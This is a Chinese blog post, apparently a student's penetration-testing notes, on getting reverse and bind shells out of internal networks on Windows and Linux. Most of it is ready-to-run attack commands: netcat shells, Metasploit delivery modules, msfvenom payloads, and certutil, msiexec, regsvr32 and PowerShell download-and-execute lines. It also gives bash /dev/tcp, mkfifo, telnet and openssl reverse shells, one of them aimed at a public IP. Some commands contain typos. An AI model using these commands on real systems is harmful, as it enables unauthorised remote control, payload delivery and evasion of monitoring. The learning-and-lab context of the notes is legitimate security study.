内网走出之–反弹shell|内网渗透学习(五)

内网走出之--反弹shell|内网渗透学习(五)

这部分的内容全是反弹shell的, 主要就是看Windows的反弹shell就行了, 因为在Windows有多个多种工具可以用来加载我们的paylaod执行反弹shell的操作,

而最后的Linux反弹shell和之前学过的几乎没太大差别, 主要就是稍微讲了个不使用sh的反弹shell以及反弹shell的回环示例分析这两点

正向和反向shell

个人感觉正反shell的区别其实就是正向shell是我们主动发出请求获取一个shell, 而反向shell就是我们直接打开监听就会有受害者自己把shell送上门来

正向shell

正向shell:控制端主动发起连接请求去连接被控制端﹐中间网络链路不存在阻碍。

image-20220928215819172

个人感觉最大的障碍就是如果被攻击的机子是在内网中并且没有一个单独的公网ip的话那么我们就很难去通过正向shell的方式申请一个shell,

除此之外还有一个问题就是由于正向shell是外部环境申请的所以系统会检查监管的很严我们不一定能成功从外部进入, 而反向shell是受害机自己发出的(自己送上门), 对系统来说监管的就没那么严格了。

所以正反shell的区分主要是三点:

  1. 谁是主动方(正向是攻击机,反向是受害机)
  2. 受害机对哪种shell的监管检测更严格(正向)
  3. 受害机在内网中攻击机就无法通过指定ip和端口正向申请shell

反向shell

反向shell (反弹shell ):被控端主动发起连接请求去连接控制端﹐通常被控端由于防火墙限制·权限不足·端口被占用等问题导致被控端不能正常接收发送过来的数据包。

image-20220928215857975

nc.exe

这里其实不想多说了的, 对一个CTFer来说nc的正反shell和传输文件的功能真的用的很多了

正向shell使用示例

示例:

受害主机执行:

nc -lvvp 6666 -e cmd.exe

攻击机执行:

nc 受害机ip 666666

原理:

受害机将cmd.exe重定向到本地的6666端口, 攻击机主动连接受害机的6666端口, 即可获得shell

反向shell使用示例

示例:

受害机:

nc -e cmd.exe 攻击机ip 6666

攻击机:

nc -lvvp 6666

Rundll32.exe

Rundll32.exe与Windows操作系统有关, 它允许调用从dlll导出的函数(16位或32位), 并将其存储在合适的内存库中。

rundll32官方文档: https://docs.microsoft.com/zh-cn/windows-server/administration/windows-commands/rundll32

使用msf的SMB Delivery模块发起Rundll32攻击

use exploit/windows/smb/smb_delivery
set srvhost  msf服务ip
set lhost smf服务ip
set lport 4444
exploite -j

一般来说srvhostlhost都直接填开启msf服务的本地ip即可

image-20220928223031604

image-20220928223038275

之后复制上面这个命令道受害机中执行即可

rundll32.exe \\192.168.92.128\mLcfDy\test.dll,0

注意,在run之后就会回到msf的命令行, 而这时攻击服务已经在后台跑起来了, 只要有受害机执行了上面命令就会收到提示并且生成session, 可以直接使用

image-20220928223635852

注意这个模块因为使用smb服务进行攻击, 而smb服务需要使用445端口所以一旦允许之后445端口一直被占用, 就不能再重新run一遍了, 如果重新允许的话会提示445端口已被占用

image-20220928223217207

想要重开的话手动kill掉占用445端口的smb服务或者通过jobs -k关闭msf后台任务就行

Regsvr32.exe

Regsvr32.exe是一个命令行执行程序, 用于注册和注销OLE控件, 如windows注册表中的dll和ActiveX控件

Regsvr32.exe安装是在WindowsXP和后续版本的%systemroot%\System32文件夹中

语法: Regsvr32.exe [/s] [/u] [/n] [/i[:cmdline]]

/u - 注销服务器

/i - 调用DllInstall传递一个可选的[cmdline]; 当它与/u一起使用是, 它调用dll来写在

/n - 不要调用DLLRegisterServer; 此选项必须与/i一起使用

/s - 沉默; 不显示消息框

使用msf的Web Deliver模块启动Regsvr

在执行这个的时候发现生成的命令是python的,并且使用的paylaod也是python的, 所以需要重设一下paylaod和target

use exploit/multi/script/web_delivery
set srvhost msfip
set lhost msfip
set lport 6666
set paylaod windows/meterpreter/reverse_tcp
set target Regsvr32

image-20220928231238237

regsvr32 /s /n /u /i:http://192.168.92.128:8080/JXlkJ1tuOxMS.sct scrobj.dll

但是在WindowsXP中执行命令却报错反弹shell失败了

image-20220928231304388

目前菜鸟阶段, 只会跟着做, 应该是系统版本较老regsvr32的版本也较老不支持这种某种使用方法吧

Certuil.exe

Certuil.exe是作为证书服务的一部分安装俺命令行程序, 我们可以用这个工具在计算机中执行恶意的exe文案以获得meterpreter会话

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.92.128 lport=1234 -f exe > shell.exe

python3 -m http.server 8000

certutil.exe -urlcache -splite -f http://192.168.92.128/shell.exe shell.exe & shell.exe

certutil.exe -urlcache -splite -f http://192.168.92.128:8000/shell.exe shell.exe delete

image-20220928235858498

但是在使用Certuil.exe的时候我在WindowsXP的虚拟机中使用失败貌似在XP中就没有这个命令工具

image-20220928235946942

然后我又直接物理机执行了一下, 结果失败了, 因为执行之后马上就被defender检测出来直接把shell.exe给删了

image-20220928235938402

Powershell.exe

通过Powershell发动Powercat攻击

Powercat是powershell本地后门侦听器和反向shell攻击,也被成为修改板的netcat, 因为它支持经过编码的有效载荷

攻击机器:

第一个窗口执行下面命令生成一个http服务用户powercat的下载读取

git clone https:/github.com/besimorhino/powercat.git

python3 -m http.server 8000

第二个窗口执行监听端口等待接收反弹shell:

nc -lvvp 6666

受害机执行:

powershell -c "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.92.128:8000/powercat.ps1');powercat -c 192.168.92.128 -p 6666 -e cmd"

Metesploit

通过Metesploit生成恶意的exe文件发起攻击,

其实和上面就是这么做的, 只不过就是powershell从远程下载文件的方式以及使用哪个工具执行exe的方式略有差别而已, 字节留个截图吧

image-20220929002144349

但是生成paylaod的规则还是可以说一下的

-p指定payload

LHOST接收反弹shell的ip

LPOST接收反弹shell的端口

-f生成paylaod的文件类型

Msiexec.exe

通过Metesploit启动msiexec攻击

Windows操作系统安装有一个Windows安装引擎, MSI包使用msiexe.exe来解释安装

Metesploit生成恶意的msi文件:

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.92.128 lport=6666 -f msi > shell.msi

python3 -m http.server 8000

受害机执行msiexec.exe加载远程的shell.msi

msiexec.exe /q /i http://192.168.92.128/shell.msi

Linux反弹shell

nc正反shell

和windows没啥区别, 就是要将cmd改成bashsh就行

但是在这里说一下没有-e参数的时候应该怎么使用nc反弹shell:

第一种回环结构:

rm /tmp/f; mkfifo /tmp/f; cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.92.128 6666 > /tmp/f

原理介绍:

mkfifo命令先创建一个管道, cat将管道里面的内容输出传递给/bin/sh, sh会执行管道里的命令并将标准输出和标准错误输出结果通过nc传到该管道, 由此形成一个回路:

/tmp/f管道 => sh => nc => /tmp/f

第二种回环结构:

mknod backpipe p;nc 192.168.92.128 6666 0backpipe 2>backpipe   

上面这串命令解释起来有点奇怪,

mknod 创建字符设备文件和块设备文件

然后先是会执行/bin/bash 1>backpipe 2>backpipe 将bash的输出和报错全部重定向到backpipe, 接着backpipe又通过输入的方式重定向到nc的输入中, 从而完成结果显示的输出

那么怎么解释nc的输入传到bash呢, 那就是nc 192.168.92.128 6666 0<backpipe 的输出, 也就是我们的输入, 通过管道符传给了后面的bash作为输入

这样子就完成了从左到右, 然后又从右到左的反复回环

dev描述符重定向

bash -i &>/dev/tcp/1.117.23.177/4444 <&1

这是我们最经典的反弹shell命令了, 解释一下:

先是bash -i的交互环境输出被重定向到了/dev/tcp/1.117.23.177/4444,

然后/dev/tcp/1.117.23.177/4444的输出又被重定向到了bash -i

这个就容易理解多了(虽说也不是那么好理解)

不使用bash的反弹shell

个人感觉下面这个应该还是很有用的, 比较完全没有涉及到sh而是通过do...while...的结构

exec 5<>/dev/tcp/192.168.92.128/6666,cat<&5 | while read line; do $line 2>&5>&5;
done

这里的管道和描述符的使用很有意思, 除了上面两个命令之外还见到几个命令例如exec,read都很有趣,read可以说是另一种方式的环境变量设置方法了

这个问题的难点感觉就是对重定向符的解析顺序和回环结构模型的构建

Telnet

攻击机:

nc -lvvp 6666

受害机:

rm -f a && mknod a p && telnet 192.168.92.128 6666 0a

rm -f a;mknod a p;telnet 192.168.92.128 6666 0a

Openssl

openssl反弹443端口, 厂商一般都有流量监控设备, 直接没问传输很容易会被审查到。

  1. 在远程攻击机上生成秘钥文件

    openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
  2. 在远程攻击机上启动监视器

    openssl s_server -quiet -key key.pem -cert cert.pem -port 443
  3. 受害机上反弹shell

    mkfifo /tmp/s;/bin/sh -i < /tmp/s 2>&1 |openssl s_client -quiet -connect 192.168.92.128:6666 > /tmp/s;rm /tmp/s

更多

Perl, Python, PHP 之类的还有很多, 原理和上卖弄都是一样的, 只是不同的语言实现的方式和使用的函数方法不一样而已, 就不想展开详细记录了

2022-09-29 02:30

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇